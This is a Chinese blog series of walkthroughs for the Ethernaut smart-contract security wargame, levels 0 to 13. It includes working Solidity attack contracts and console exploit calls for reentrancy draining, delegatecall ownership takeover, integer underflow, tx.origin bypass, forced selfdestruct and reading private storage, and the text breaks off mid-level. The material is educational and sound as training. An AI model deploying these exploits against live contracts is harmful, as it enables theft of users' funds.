[区块链安全-Ethernaut]区块链智能合约安全实战-连载中
准备
随着区块链技术的逐渐推广,区块链安全也逐渐成为研究的热点。在其中,又以智能智能合约安全最为突出。Ethernaut正是入门研究区块链智能合约安全的好工具。
- 首先,应确保安装Metamask,如果可以使用Google Extension可以直接安装,否则可以使用FireFox安装
- 新建账号,并连接到RinkeBy Test Network(需要在Setting - Advanced里启用Show test networks,并在网络中进行切换)
- 访问Faucet并获取测试币,每天都有0.1Eth的额度
现在就可以开始Ethernaut的探索之旅了!
0. Hello Ethernaut
本节比较简单,所以我将更关注整体过程,介绍Ethernaut的实例创建等等,自己也梳理一下,所以会更详细一些。
准备工作
进入Hello Ethernaut,会自动提示连接Metamask钱包,连接后,示意图如下:
按F12打开开发者工具,在console界面就可以进行智能合约的交互。
创建实例并分析
单击 Get New Instance 以创建新的合约实例。
可以看出我们实际上是通过与合约0xD991431D8b033ddCb84dAD257f4821E9d5b38C33
交互以创建实例。在辅导参数中,调用0xdfc86b17
方法,附带地址为0x4e73b858fd5d7a5fc1c3455061de52a53f35d966
作为参数。实际上,所有关卡创建实例时都会向0xD991431D8b033ddCb84dAD257f4821E9d5b38C33
,附带的地址则是用来表明所处的关卡,如本例URL地址也为https://ethernaut.openzeppelin.com/level/0x4E73b858fD5D7A5fc1c3455061dE52a53F35d966
。
实例已经成功生成,主合约交易截图如下:
进入交易详情,查看内部交易,发现合约之间产生了调用。第一笔是由主合约调用关卡合约,第二笔是由关卡合约创建合约实例,其中实例地址为
0x87DeA53b8cbF340FAa77C833B92612F49fE3B822
。
回到页面来看,可以确认生成实例的确为
0x87DeA53b8cbF340FAa77C833B92612F49fE3B822
下面我们将进行合约的交互以完成本关卡。
合约交互
此时,在console界面可以通过player
和contract
分别查看用户当前账户和被创建合约实例。player
代表用户钱包账户地址,而contract
则包含合约实例abi
、address
、以及方法信息。
按照提示要求输入
await contract.info()
,得到结果'You will find what you need in info1().'
。输入await contract.info1()
,得到结果'Try info2(),but with "hello" as a parameter.'
。
输入await contract.info2('hello')
,得到结果'The property infoNum holds the number of the next info method to call.
。
输入
await contract.infoNum()
,得到infoNum参数值为42
(Word中的首位)。这就是下一步要调用的函数(info42
)。输入
await contract.info42()
,得到结果'theMethodName is the name of the next method.
,即下一步应当调用theMethodName
。
输入
await contract.theMethodName()
,得到结果'The method name is method7123949.
。
输入
await contract.method7123949()
,得到结果'If you know the password,submit it to authenticate().
。所以通过
password()
可以获取密码ethernaut0
,并将其提交到authenticate(string)
。注意当在进行
authenticate()
函数时,Metamask会弹出交易确认,这是因为该函数改变了合约内部的状态(以实现对关卡成功的检查工作),而其他先前调用的函数却没有(为View)。此时,本关卡已经完成。可以选择Sumbit Instance进行提交,同样要签名完成交易
在此之后,Console页面弹出成功提示,本关卡完成!
总结
本题比较简单,更多的是要熟悉ethernaut的操作和原理。
1. Fallback
创建实例并分析
根据先前的步骤,创建合约实例,其合约地址为0xe0D053252d87F16F7f080E545ef2F3C157EA8d0E
。
本关卡要求获得合约的所有权并清空余额。
观察其源代码,找到合约所有权变更的入口。找到两个,分别是contribute()
及receive()
,其代码如下:
function contribute() public payable {
require(msg.value < 0.001 ether);
contributions[msg.sender] += msg.value;
if(contributions[msg.sender] > contributions[owner]) {
owner = msg.sender;
}
}
receive() external payable {
require(msg.value > 0 && contributions[msg.sender] > 0);
owner = msg.sender;
}
按照contribute()
的逻辑,当用户随调用发送小于0.001 ether
,其总贡献额超过了owner
,即可获得合约的所有权。这个过程看似简单,但是通过以下constructor()函数可以看出,在创建时,owner
的创建额为1000 ether
,所以这种方法不是很实用。
constructor() public {
owner = msg.sender;
contributions[msg.sender] = 1000 * (1 ether);
}
再考虑receive()
函数,根据其逻辑,当用户发送任意ether
,且在此之前已有贡献(已调用过contribute()
函数),即可获得合约所有权。receive()
类似于fallback()
,当用户发送代币但没有指定函数对应时(如sendTransaction()
),会调用该方法。
在获取所有权后,再调用withdraw
函数既可以清空合约余额。
合约交互
使用contract
命令,查看合约abi及对外函数情况。
调用
await contract.contribute({value:1})
,向合约发送1单位Wei。
此时,调用
await contract.getContribution()
查看用户贡献,发现贡献度为1,满足调用receiver()
默认函数的最低要求。
使用
await contract.sendTransaction({value:1})
构造转账交易发送给合约,调用
await contract.owner() === player
确认合约所有者已经变更。最后调用
await contract.withdraw()
取出余额。提交实例,显示关卡成功!
总结
本关卡也算比较简单,主要需要分析代码内部的逻辑,理解fallback()
及receive
的原理。
2. Fallout
创建实例并分析
根据先前的步骤,创建合约实例,其合约地址为0x891A088f5597FC0f30035C2C64CadC8b07566DC2
。
本关卡要求获取合约的所有权。首先使用contract
命令查看合约的abi及函数信息。
查看合约源码,寻找可能的突破点。结果发现
Fal1out()
函数即为突破口。其代码如下:
/* constructor */
function Fal1out() public payable {
owner = msg.sender;
allocations[owner] = msg.value;
}
对于Solidity来说,其在0.4.22前的编译器版本支持同合约名的构造函数,如:
pragma solidity ^0.4.21;
contract DemoTest{
function DemoTest() public{
}
}
而在0.4.22起只支持利用constructor()
构建,如:
pragma solidity ^0.4.22;
contract DemoTest{
constructor() public{
}
}
但在本关卡中,很明显合约创建者出错,将Fallout
写成了Fal1out
。所以我们直接调用函数Fal1out
即可获得所有权。
合约交互
使用await contract.owner()
获取当前合约所有者为0x0
地址。
调用
await contract.Fal1out({value:1})
实现所有权的获取。调用
await contract.owner() === player
确认已获取合约所有权。提交实例,本关卡完成!
总结
本关卡比较简单,主要考察对于合约细节和构造函数的理解和把握。
3. Coin Flip
创建实例并分析
根据先前的步骤,创建合约实例,其合约地址为0x85023291A7E49B6b9A5F47a22F5f23Ca92eB4e54
。
本关卡要求连续10次猜对硬币的正反面。
我们首先对代码展开观察,其代码示意如下图所示:
function flip(bool _guess) public returns (bool) {
uint256 blockValue = uint256(blockhash(block.number.sub(1)));
if (lastHash == blockValue) {
revert();
}
lastHash = blockValue;
uint256 coinFlip = blockValue.div(FACTOR);
bool side = coinFlip == 1 ? true : false;
if (side == _guess) {
consecutiveWins++;
return true;
} else {
consecutiveWins = 0;
return false;
}
}
}
可知,硬币的正反面是由当前区块前一区块的高度所决定的。如果我们不知道当前区块高度是多少,就难以提前预知硬币的正反面。且同时,合约通过lastHash保证同一区块只能有一次提交。
此处我们将引入合约间调用的概念,正如我们在Hello Ethernaut
关卡中分析的那样,合约也可以调用合约,具体操作则作为Internal Txns
,但仍与初始调用处于同一区块中。所以我们可以新建自己的智能合约,提前预测硬币正反面,并向关卡合约发出请求。
下面就到了合约间调用的内容了,其主要有几种:
- 使用被调用合约实例(已知被调用合约代码)
- 使用被调用合约接口实例(仅知道被调用合约接口)
- 使用call命令调用合约
我们将编写自己的智能合约,从以上三个思路入手,实现合约间调用。
攻击合约编写
利用Remix在线编辑器编写合约,代码如下所示,其中CoinFlipAttack
就是我们的攻击合约,而CoinFlip
和CoinFlipInterface
都是为目标合约提供abi接口而定义的:
pragma solidity ^0.6.0;
// 由于使用在线版本remix,所以需要
import "https://github.com/OpenZeppelin/openzeppelin-contracts/blob/v3.0.0/contracts/math/SafeMath.sol";
// 用于使用被调用合约实例(已知被调用合约代码)
contract CoinFlip {
// 复制本关卡代码,此处省略....
}
// 用于 使用被调用合约接口实例(仅知道被调用合约接口)
interface CoinFlipInterface {
function flip(bool _guess) external returns (bool);
}
contract CoinFlipAttacker{
using SafeMath for uint256;
address private addr;
CoinFlip cf_ins;
CoinFlipInterface cf_interface;
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
constructor(address _addr) public {
addr = _addr;
cf_ins = CoinFlip(_addr);
cf_interface = CoinFlipInterface(_addr);
}
// 当用户发出请求时,合约在内部先自己做一次运算,得到结果,发起合约内部调用
function getFlip() private returns (bool) {
uint256 blockValue = uint256(blockhash(block.number.sub(1)));
uint256 coinFlip = blockValue.div(FACTOR);
bool side = coinFlip == 1 ? true : false;
return side;
}
// 使用被调用合约实例(已知被调用合约代码)
function attackByIns() public {
bool side = getFlip();
cf_ins.flip(side);
}
// 使用被调用合约接口实例(仅知道被调用合约接口)
function attackByInterface() public {
bool side = getFlip();
cf_interface.flip(side);
}
// 使用call命令调用合约
function attackByCall() public {
bool side = getFlip();
addr.call(abi.encodeWithSignature("flip(bool)",side));
}
}
合约交互
此时,我们选择0.6.12+commit.27d51765.js
的编译器,通过编译,如下图所示:
在部署页面,选择
Injected Web3
,连接Metamask钱包
,调用攻击合约的构造函数,其中构造参数传入目标合约0x85023291A7E49B6b9A5F47a22F5f23Ca92eB4e54
。
小狐狸签名,合约部署完成,攻击合约地址为
0xf0467DEE254dA52c8bF922B2A10BB835e7eb49fF
,显示如下调用接口,我们接下来将分别从以下三种方式展开攻击:- 使用被调用合约实例(attackByIns)
在调用前,我们有连续猜中次数为3,如下图所示:
点击attackByIns
,弹出Metamask确认弹窗,确认,当前区块已成功挖出。
而此时连续猜中次数变为4,该方法验证成功!
- 使用被调用合约接口实例(attackByInterface)
此时,连续猜中次数为4,点击attackByInterface
,弹出Metamask确认弹窗,确认,当前区块已成功挖出。
- 使用call命令调用合约(attackByCall)
此时,连续猜中次数为5,点击attackByCall
,弹出Metamask确认弹窗,确认,当前区块已成功挖出。
而此时连续猜中次数变为6,该方法验证成功!
无论是哪种方法都可以实现同区块内的合约调用,但一定要注意gas limit
的设置,如果不够会爆出out of gas
或者reverted
的错误,可以在小狐狸确认界面进行设置。
我们接下来可以使用任意调用再做4次直至到10,最终提交!
提交实例,本关卡完成!
总结
本关卡主要考察solidity
的编写及合约间的调用。我在做的时候遇到了很多gas
相关的问题,以前不是很注意,现在要非常注意了!
4. Telephone
创建实例并分析
根据先前的步骤,创建合约实例,其合约地址为0xba9405B2d9D1B92032740a67B91690a70B769221
。
分析其合约源码,要求变更合约所有权,其突破口在于changeOwner
函数,函数代码如下所示:
function changeOwner(address _owner) public {
if (tx.origin != msg.sender) {
owner = _owner;
}
}
其先决条件在于tx.origin
与msg.sender
不相同,那我们应对此展开研究。
-
tx.origin
会遍历整个调用栈并返回最初发送调用(或交易)的帐户的地址。 -
msg.sender
为直接调用智能合约功能的帐户或智能合约的地址
两者区别在于如果同一笔交易内有多笔调用,tx.origin
保持不变,而msg.sender
将会发生改变。我们将以此为根据,编写智能合约,将该合约作为中间人展开攻击。
攻击合约编写
同样在remix中编写合约,合约代码如下,与上一关卡类似,通过interface
接口创建合约接口实例,我们则通过attack函数执行攻击
:
pragma solidity ^0.6.0;
interface TelephoneInterface {
function changeOwner(address _owner) external;
}
contract TelephoneAttacker {
TelephoneInterface tele;
constructor(address _addr) public {
tele = TelephoneInterface(_addr);
}
function attack(address _owner) public {
tele.changeOwner(_owner);
}
}
合约交互
初始时,合约所有权尚未得到。
我们在remix上部署合约,参数附带
0xba9405B2d9D1B92032740a67B91690a70B769221
以初始化被攻击合约接口实例tele
。生成攻击合约地址为0x25C2fdE7f0eC90fD3Ef3532261ed84D0f0201811
。
在remix上调用attack
函数,参数为0x0bD590c9c9d88A64a15B4688c2B71C3ea39DBe1b
即钱包地址。
此时,再检查所有权发现已发生变更。
提交实例,本关卡已成功通过。
总结
tx.origin
这个有很多合约在用,但如果使用不当,会引起很严重的后果。
比如说,我设置了合约,引起被攻击合约主动发起调用,在接受函数里展开攻击,就可以绕过tx.origin
相关的安全设置。
5. Token
创建实例并分析
根据先前的步骤,创建合约实例,其合约地址为0x7867dB9A1E0623e8ec9c0Ab47496166b45832Eb3
。
由合约创建过程来看,应是实例创建合约0xD991431D8b033ddCb84dAD257f4821E9d5b38C33
调用关卡合约0x63bE8347A617476CA461649897238A31835a32CE
创建目标合约,并向player
转账20token
。
分析其合约源码,要求增加已有的代币数量,应该从transfer
函数入手,函数代码如下:
function transfer(address _to,uint _value) public returns (bool) {
require(balances[msg.sender] - _value >= 0);
balances[msg.sender] -= _value;
balances[_to] += _value;
return true;
}
这里代码里犯了一个错误,那就是对于uint
运算没有做溢出检查,举例来说对于8位无符号整型,会有0-1=255
及255+1=0
的错误产生。我们就可以利用这一漏洞,实现代币的无限增发。
合约交互
调用await contract.transfer('0x63bE8347A617476CA461649897238A31835a32CE',21)
函数,注意此处不能给自身转账,因为会先出现下溢出,再出现上溢出,我们直接转账给关卡合约21个token
,此时20-21
发生了下溢出,达到最大值。此时,可以看到,代币余额发生了增长。
提交实例,本关卡通过!
总结
这就是为什么我们需要Safemath
。写合约时一定要注意上溢出和下溢出!
6. Delegation
创建实例并分析
根据先前的步骤,创建合约实例,其合约地址为0x3E446558C8e3BBf1CE93324D330E89e5Fd964b7d
。
本关卡要求**获取合约Delegation
**的所有权。
对合约展开分析,源代码部分提供了两部分合约,一个是Delegate
,另一个则是Delegation
。两合约间通过Delegation
的fallback
函数,基于delegatecall
方法展开调用。
fallback() external {
(bool result,) = address(delegate).delegatecall(msg.data);
if (result) {
this;
}
}
对于Delegation
合约来说,其内部找不到更换所有权的代码,我们就可以换个思路,看看Delegate
合约里有没有。分析合约可以看到,pwn()
可以实现。
function pwn() public {
owner = msg.sender;
}
这时候可能有人会感到疑惑,Delegate
和Delegation
是两个不同的合约,如果我们仅去修改Delegate
里的owner
,会对跨合约调用它的Delegation
产生影响吗?
在 Solidity 中,call 函数簇可以实现跨合约的函数调用功能,其中包括 call
、delegatecall
和callcode
,我们下面就要来分析以下三种跨合约调用方法的区别(以用户A通过B合约调用C合约为例):
-
call
: 最常用的调用方式,调用后内置变量 msg 的值会修改为调用者B,执行环境为被调用者的运行环境C。 -
delegatecall
:调用后内置变量 msg 的值A不会修改为调用者,但执行环境为调用者的运行环境B -
callcode
:调用后内置变量 msg 的值会修改为调用者B,但执行环境为调用者的运行环境B
所以当时用delegatecall
时,尽管我们是调用Delegate
合约中的函数,但实际上,我们是在Delegation
环境里去做得,可以理解为将代码“引入”了。因此,我们可以实现合约权的转移。
合约交互
初始化时,有合约所有权并不为player
。
使用
contract.sendTransaction({value:1,data:web3.utils.keccak256("pwn()").slice(0,10)})
来发起调用,结果失败,仔细一看是因为fallback
没有payable
修饰。这是一开始的理解错误,观察不够仔细。
去掉
value
,重新调用await contract.sendTransaction({data:web3.utils.keccak256("pwn()").slice(0,10)})
。此时合约所有权已完成转移。解释一下,这里data
是为了调用pwn
函数,使用sha3
编码并取了前4个字节,此处因为没有入参,所以作了简化。提交合约实例,本关卡成功!
总结
合约间的调用需要非常谨慎,delegate
原来是为了编程弹性,但如果处理不当,会给安全带来很大问题!
7. Force
不好意思,最近工作上略有些忙,因为工作涉及到对外网络安全贸易,所以最近一直忙着培训。但这块肯定会持续完成。
创建实例并分析
根据先前的步骤,创建合约实例,其合约地址为0xa39A09c4ebcf4069306147035dd7cE7735A25532
。
本关卡要求给合约Force
转入代币,但是究其合约,似乎并没有payable函数。那么我们该怎么做呢?
在实际中,如果要给智能合约转账,有几种常见方法。
- Transfer: Throws exception when an error occurs,and the code will not execute afterward
- Send: The transfer error does not throw an exception and returns true/false. The code will continue to execute.
- call.value().gas: Transfer error does not throw an exception and returns true/false. The code will execute,but call functions for transfer are prone to reentrancy attacks.
三种方式存在一个前提,即接受合约必须能够接受转账,即存在payable函数,否则将会回退。
那么有没有其他方法呢?
However,there’s another way to transfer funds without obtaining the funds first: The Self Destruct function. Selfdestruct is a function in the Solidity smart contract used to delete contracts on the blockchain. When a contract executes a self-destruct operation,the remaining ether on the contract account will be sent to a specified target,and its storage and code are erased
也就是说,我们可以通过合约的自毁函数,将合约剩下的以太发送给指定地址,此时不需要判断该地址谁否能够接受转账。所以我们可以构建智能合约,完成自毁,即可实现攻击。
合约交互
合约本身并不提供余额查询,所以我们前往链上查询。此时合约余额为0。
我们通过remix构建合约,其中写入自毁函数。
pragma solidity ^0.6.0;
contract ForceAttacker {
constructor() public payable{
}
function destruct(address payable addr) public {
selfdestruct(addr);
}
}
新建合约,部署到Rinkeby测试网,合约地址0x7718f44c496885708ECb8CC84Af4F3d51338cb3C
以被攻击合约为变量,调用destruct
函数。
此时可以看到,被攻击合约链上地址余额发生变化,从0变为了50。
提交实例,本关卡成功通过!
总结
selfdestruct
不会触发payable检查,如果没有很好的检查,很可能会对合约本身的运行带来难以预估的影响。为了防止黑客对于this.balance
的操纵,我们应使用balance
变量来接受特定业务逻辑的余额。
8. Vault
创建实例并分析
根据先前的步骤,创建合约实例,其合约地址为0x81E840E30457eBF63B41bE233ed81Db4BcCF575E
。
对合约展开分析,本关卡的要求是解锁,而解锁的唯一办法是输入正确的password
。本关卡对password
的定义是私有变量,那时不时就看不到了呢?
答案是否定的,一切变量都存储在链上,我们自然可以看到。现在问题就是,在哪看,用什么看?
第一个回答是用什么看?
web3.eth.getStorageAt(address,position [,defaultBlock] [,callback])
,使用这个命令可以看到储存在某个地址的存储内容。
其参数代表含义如下:
String - The address to get the storage from.
Number|String|BN|BigNumber - The index position of the storage.
Number|String|BN|BigNumber - (optional) If you pass this parameter it will not use the default block set with web3.eth.defaultBlock. Pre-defined block numbers as "earliest","latest" and "pending" can also be used.
Function - (optional) Optional callback,returns an error object as first parameter and the result as second.
一般来说,我们使用web3.eth.getStorageAt("0x407d73d8a49eeb85d32cf465507dd71d507100c1",0) .then(console.log);
,后面两个参数一般都是可选的。
第二个回答是怎么看?
以太坊数据存储会为合约的每项数据指定一个可计算的存储位置,存放在一个容量为 2^256 的超级数组中,数组中每个元素称为插槽(slot),其初始值为 0。虽然数组容量的上限很高,但实际上存储是稀疏的,只有非零 (空值) 数据才会被真正写入存储。每个数据存储的插槽位置是一定的。
# 插槽式数组存储
----------------------------------
| 0 | # slot 0
----------------------------------
| 1 | # slot 1
----------------------------------
| 2 | # slot 2
----------------------------------
| ... | # ...
----------------------------------
| ... | # 每个插槽 32 字节
----------------------------------
| ... | # ...
----------------------------------
| 2^256-1 | # slot 2^256-1
----------------------------------
每个插槽32字节,对于值类型,其存放是连续的,满足以下规律。
- 存储插槽的第一项会以低位对齐(即右对齐)的方式储存
- 基本类型仅使用存储它们所需的字节
- 如果存储插槽中的剩余空间不足以储存一个基本类型,那么它会被移入下一个存储插槽
- 结构和数组数据总是会占用一整个新插槽(但结构或数组中的各项,都会以这些规则进行打包)
例如以下合约
pragma solidity ^0.4.0;
contract C {
address a; // 0
uint8 b; // 0
uint256 c; // 1
bytes24 d; // 2
}
其存储布局如下:
-----------------------------------------------------
| unused (11) | b (1) | a (20) | <- slot 0
-----------------------------------------------------
| c (32) | <- slot 1
-----------------------------------------------------
| unused (8) | d (24) | <- slot 2
-----------------------------------------------------
回到本题,很明显存储摆放应该是
-----------------------------------------------------
| unused (31) | locked(1) | <- slot 0
-----------------------------------------------------
| password (32) | <- slot 1
-----------------------------------------------------
所以我们可以通过slot1
获取password信息。
合约交互
输入await web3.eth.getStorageAt(contract.address,1)
获取byte32 password
。
此时,合约仍然上锁(可通过
await contract.locked()
)查询。
调用
await contract.unlock('0x412076657279207374726f6e67207365637265742070617373776f7264203a29')
实现对合约的解锁。此时,合约已经解锁。
提交实例,本关卡成功通过。
总结
区块链上没有秘密。
9 King
创建实例并分析
根据先前的步骤,创建合约实例,其合约地址为0xb21Cf6f8212B2Ef639728Ae87979c6d63d976Ef2
。对其合约展开分析,其合约功能在于以下代码段:
receive() external payable {
require(msg.value >= prize || msg.sender == owner);
king.transfer(msg.value);
king = msg.sender;
prize = msg.value;
}
当接收到外来转账时,如果发送金额大于当前奖金,即将发送金额发送给当前国王,更新奖金,而发送者将成为新的国王。
本关卡目的在于打破这一循环。
打破这一循环的入手点就在于该函数交互实际上是一个连续的过程。
- 用户发送指定金额的以太。
- 合约将以太转发给当前国王
- 更新国王及奖金。
我们只要作为国王,拒不接受合约转来的奖金,整个过程即可回退。
攻击合约编写
我们同样在remix里编写攻击合约。如下:
contract KingAttacker {
constructor() public payable{
}
function attack(address payable addr) public payable{
addr.call.value(msg.value)("");
}
fallback() external payable{
revert();
}
}
在接受函数,我们主动回退,即可防止合约继续执行。
合约交互
首先我们先看看当前我们需传入多少。在目标合约详情页面,可以看到,创建合约时传入0.001Ether。
所以我们创建攻击合约(
0x9Fd9980aCb9CAb42EDE479e99e01780E8c79b208
)后,传入2Finney,调用攻击合约attack
方法。
此时我们看看国王,使用
await contract._king()
,可以看出,国王已经变成攻击合约。提交合约,关卡成功!
查看链上数据可知,在执行过程中产生了回滚(
revert
)。总结
攻击时可以从合约执行的多个角度入手。
10 Re-entrancy
创建实例并分析
根据先前的步骤,创建合约实例,其合约地址为0xfe3E5BdD6E5ae5efb4eea5735b3E3738991fFc2e
。对其合约展开分析,其合约提取函数如下:
function withdraw(uint _amount) public {
if(balances[msg.sender] >= _amount) {
(bool result,) = msg.sender.call{value:_amount}("");
if(result) {
_amount;
}
balances[msg.sender] -= _amount;
}
}
这个合约的问题在哪里呢?那就是他弄错了记账、转账的顺序(先转账,再记账)。一般来说,我们去银行取钱,银行都会先在自己的账本上记一笔,然后才会把钱取出来给我们。虽然说,我们也不可能同时出现在两个地方取钱,但在区块链中,有没有可能呢?
答案是有的,如果我们在接受合约转账的同时又发起新的取钱操作,那么很明显,如果是连续的调用过程,在未修改账本的情况下,合约仍会给用户转账?
那么,怎样做才能保证实现连续的调用呢?那就是使用合约去与被攻击合约进行交互。
攻击合约编写
我们同样在remix里编写攻击合约。如下:
pragma solidity ^0.6.0;
interface Reentrance{
function donate(address _to) external payable;
function withdraw(uint _amount) external;
function balanceOf(address _who) external view returns (uint balanceOf);
}
contract Attacker {
Reentrance ReentranceImpl;
uint256 requiredValue;
constructor(address addr) public payable{
ReentranceImpl = Reentrance(addr);
requiredValue = msg.value;
}
function getBalance(address addr) public view returns (uint){
return addr.balance;
}
function donate() public {
ReentranceImpl.donate{value:requiredValue}(address(this));
}
function withdraw(uint _amount) public {
ReentranceImpl.withdraw(_amount);
}
function destruct() public {
selfdestruct(msg.sender);
}
fallback() external payable {
uint256 ReentranceImplValue = address(ReentranceImpl).balance;
if (ReentranceImplValue >= requiredValue) {
withdraw(requiredValue);
}else if(ReentranceImplValue > 0) {
withdraw(ReentranceImplValue);
}
}
}
我们使用ReentranceImpl
标记目标合约,使用requiredValue
来表示合约在目标合约中存的钱。同时,我们又定义fallback
函数,每当受到资金时,就会调用withdraw
函数,从目标合约中提取余额。让我们进行合约交互。
合约交互
先查看合约本身有多少以太,在浏览器上查看,发现总共有0.001以太。
所以我们在部署合约时传入500000000000000 Wei,这样能反复调用三次,以确认合约的攻击效果,同时我们传入目标合约地址
0xfe3E5BdD6E5ae5efb4eea5735b3E3738991fFc2e
,部署后,攻击合约地址为0xc9bf4c2AcdBd38CF8f73541f78A2E30Eb5e91287
。
首先我们查询合约本身余额,为500000000000000 Wei,其次我们查询目标合约余额,为1000000000000000 Wei。
我们利用
donate
函数向目标合约存入余额。此时,目标合约的余额也变成了0.0015Ether。
我们接下来发起攻击,即使用
withdraw
函数提取500000000000000 Wei。发起交易时,应在小狐狸界面修改gas。等待交易完成,此时有合约中实现了三笔转账。而目标合约余额已经归零,攻击完成!
提交实例,本关卡完成!
最后别忘了通过合约自毁(destruct)收回余额哦~
总结
合约的设计应当充分谨慎,任意一点疏忽都会带来很大影响
11 Elevator
创建实例并分析
根据先前的步骤,创建合约实例,其合约地址为0x02B4EC4229691A89Df659F8AEb1D6267F4bc85BE
。对其合约展开分析,其合约核心代码如下:
function goTo(uint _floor) public {
Building building = Building(msg.sender);
if (! building.isLastFloor(_floor)) {
floor = _floor;
top = building.isLastFloor(floor);
}
}
由于先判断isLastFloor
,不满足后才进入if
结构体,并再次获取isLastFloor
。该合约于是想当然认为,第二次获取的结果依然不满足,是这样吗?
由于对外调用带来的影响,在外部调用时合约无法控制外部合约的行为。所以我们可以编写智能合约发起相关进攻。
攻击合约编写
我们同样在remix里编写攻击合约。如下:
pragma solidity ^0.6.0;
interface Elevator{
function goTo(uint _floor) external;
}
contract Building {
Elevator elevatorImpl;
bool isTop;
constructor(address addr) public {
elevatorImpl = Elevator(addr);
isTop = false;
}
function flip() public {
isTop = !isTop;
}
function isLastFloor(uint) public returns (bool){
bool res = isTop;
flip();
return res;
}
function attack() public {
elevatorImpl.goTo(1);
}
}
其核心之处在于,每次调用isLastFloor
函数都会内部调用flip
函数完成变量isTop
的翻转,因此连续两次获取的结果是不一样的。
合约交互
输入await contract.top()
查看是否为顶层,结果为false。
部署合约,传入目标合约
0x02B4EC4229691A89Df659F8AEb1D6267F4bc85BE
,构建合约的地址为0x0906dCbd3C31CDfB6A490A04D7ea03fC19F7a40a
。
调用attack()
函数,发起对目标合约的攻击。
此时,再次查看,输入
await contract.top()
查看是否为顶层,结果为true。提交实例,本关卡成功!
总结
合约是难以相信的,即使合约编写的再好,无法控制他人的行为,也毫无用处。
12 Privacy
创建实例并分析
根据先前的步骤,创建合约实例,其合约地址为0x5a5F99370275Ca9068DfDF9E9edEB40Cb8d9aeFf
。对其合约展开分析,其合约核心代码如下:
function unlock(bytes16 _key) public {
require(_key == bytes16(data[2]));
locked = false;
}
此时,应当输入data[2]
,而这又该怎么获得呢?很明显,我们还是要从存储机制入手。
bool public locked = true;
uint256 public ID = block.timestamp;
uint8 private flattening = 10;
uint8 private denomination = 255;
uint16 private awkwardness = uint16(now);
bytes32[3] private data;
这是变量定义,对应的,我们有槽存储分布如下:
-----------------------------------------------------
| unused (31) | locked(1) | <- slot 0
-----------------------------------------------------
| ID(32) | <- slot 1
-----------------------------------------------------
| unused (28) | awkwardness(2) | denomination (1) | flattening(1) | <- slot 2
-----------------------------------------------------
| data[0](32) | <- slot 3
-----------------------------------------------------
| data[1](32) | <- slot 4
-----------------------------------------------------
| data[2](32) | <- slot 5
-----------------------------------------------------
所以,data[2]
存储在slot 5里。
合约交互
输入await web3.eth.getStorageAt(contract.address,5)
得到data2='0xad4d68dd2ede6bf23b06d5ed3076ab0d4aae1aac23a1ebaea656ec35650d4ac3'
。
此时bytes16与bytes32之间存在转换。要注意,以太坊有两种存储方式,大端(strings & bytes,从左开始)及小端(其他类型,从大开始)。因此,从32到16转换时,需要砍掉右边的16个字节。
我们该怎么做呢?即'0xad4d68dd2ede6bf23b06d5ed3076ab0d4aae1aac23a1ebaea656ec35650d4ac3'.slice(0,34)
。
之后,直接提交结果,准备解锁。
contract.unlock('0xad4d68dd2ede6bf23b06d5ed3076ab0d')
。此时,合约已经完成解锁。
提交实例,本关卡成功!
总结
还是那句话,区块链上没有秘密。
13 GateKeeper One
大家好 我又回来了。最近真的很忙,我抓紧8月份将这一系列完成,然后进行下一步内容的分享。
创建实例并分析
根据先前的步骤,创建合约实例,其合约地址为0xBc0820c5Ab83Ab2E8e97Fa04DDd3444ECC212284
。本关卡的目的是满足gateOne
、gateTwo
和gateThree
,成功实现entrant
的修改。
那么我们需要怎么做呢?首先看一看modifier
分别提出了什么要求。看看能否满足和修改?
modifier gateOne() {
require(msg.sender != tx.origin);
_;
}
分析gateOne
,可以看出需要msg.sender != tx.origin
,这表明我们需要一个合约作为中转。
modifier gateTwo() {
require(gasleft().mod(8191) == 0);
_;
}
分析gateTwo
,这表明在执行到该步骤时,需要剩下的gas必须为8191的倍数,这需要我们对gas作出设定。
modifier gateThree(bytes8 _gateKey) {
require(uint32(uint64(_gateKey)) == uint16(uint64(_gateKey)),"GatekeeperOne: invalid gateThree part one");
require(uint32(uint64(_gateKey)) != uint64(_gateKey),"GatekeeperOne: invalid gateThree part two");
require(uint32(uint64(_gateKey)) == uint16(tx.origin),"GatekeeperOne: invalid gateThree part three");
_;
}
分析gateThree
,这表明需要输入特殊的bytes8数据,保证其1-16位为tx.origin的数据且17-32位为0(uint32(uint64(_gateKey)) == uint16(tx.origin),
),33-64位不全为0(uint32(uint64(_gateKey)) != uint64(_gateKey)
)。
所以我们可以整理思路,编写智能合约了。
攻击合约编写
我们同样在remix里编写攻击合约。如下:
pragma solidity ^0.6.0;
interface Gate {
function enter(bytes8 _gateKey) external returns (bool);
}
contract attackerSupporter {
uint64 offset = 0xFFFFFFFF0000FFFF;
bytes8 changedValue;
Gate gateImpl;
constructor(address addr) public {
gateImpl = Gate(addr);
}
function getAddress() public {
changedValue = bytes8(uint64(tx.origin) & offset);
}
function check1() public view returns (bool){
return uint32(uint64(changedValue)) == uint16(uint64(changedValue));
}
function check2() public view returns (bool){
return uint32(uint64(changedValue)) != uint64(changedValue);
}
function check3() public view returns (bool){
return uint32(uint64(changedValue)) == uint16(tx.origin);
}
function attack() public {
gateImpl.enter(changedValue);
}
}
这里主要看为什么能够解决gateThree
的需求。当获取输入的时候,会进行bytes8(uint64(tx.origin) & offset)
运算。
-
address
类型长度为160位,20字节,40个十六进制 -
uint64(tx.origin)
对tx.origin
进行了截取,选取后64位,8字节,16十六进制。 -
offset
类型为uint64
,默认值为0xFFFFFFFF0000FFFF
,最后的FFFF
保证其最后16位不发生改变,中间的0000
保证17-33位为0,剩下的FFFFFFFF
则保证34-64位不全为0(只要tx.origin
不是这样就好)。 - 通过
&
运算完成变换,以bytes8
存储在changedValue
变量,用以实际攻击。
合约交互
部署合约,传入目标合约0xBc0820c5Ab83Ab2E8e97Fa04DDd3444ECC212284
,构建合约的地址为0x9CeD0A7587C4dCb17F6213Ea47842c86a88ff43d
。
点击
getAddress
,计算changedValue
。此时,点击check1
、check2
、check3
来查看gateThree
的要求是否满足。由截图可见,均满足。由于
gateOne
已经自动满足了,所以我们可以直接通过调用来调试实际的gas了。点击
attack
发起进攻,由于是跨合约调用,所以我们先将Gas Limit调大一些(实际远远不用这么大),如图所示。此时,我们进入测试网Explorer查看交易详细信息,不出意外,交易将会被回滚。这是因为当前的gas没有满足要求。
点击右上角,选择Geth Debug Trace
来看详细的编译过程。
里面是每步操作的执行过程及其所消耗的GAS。
页面中搜索GAS,操作中总共有2个,分析整个调用顺序,应该前者是合约内部调用前发起,后者则是gateTwo
通过gasLeft
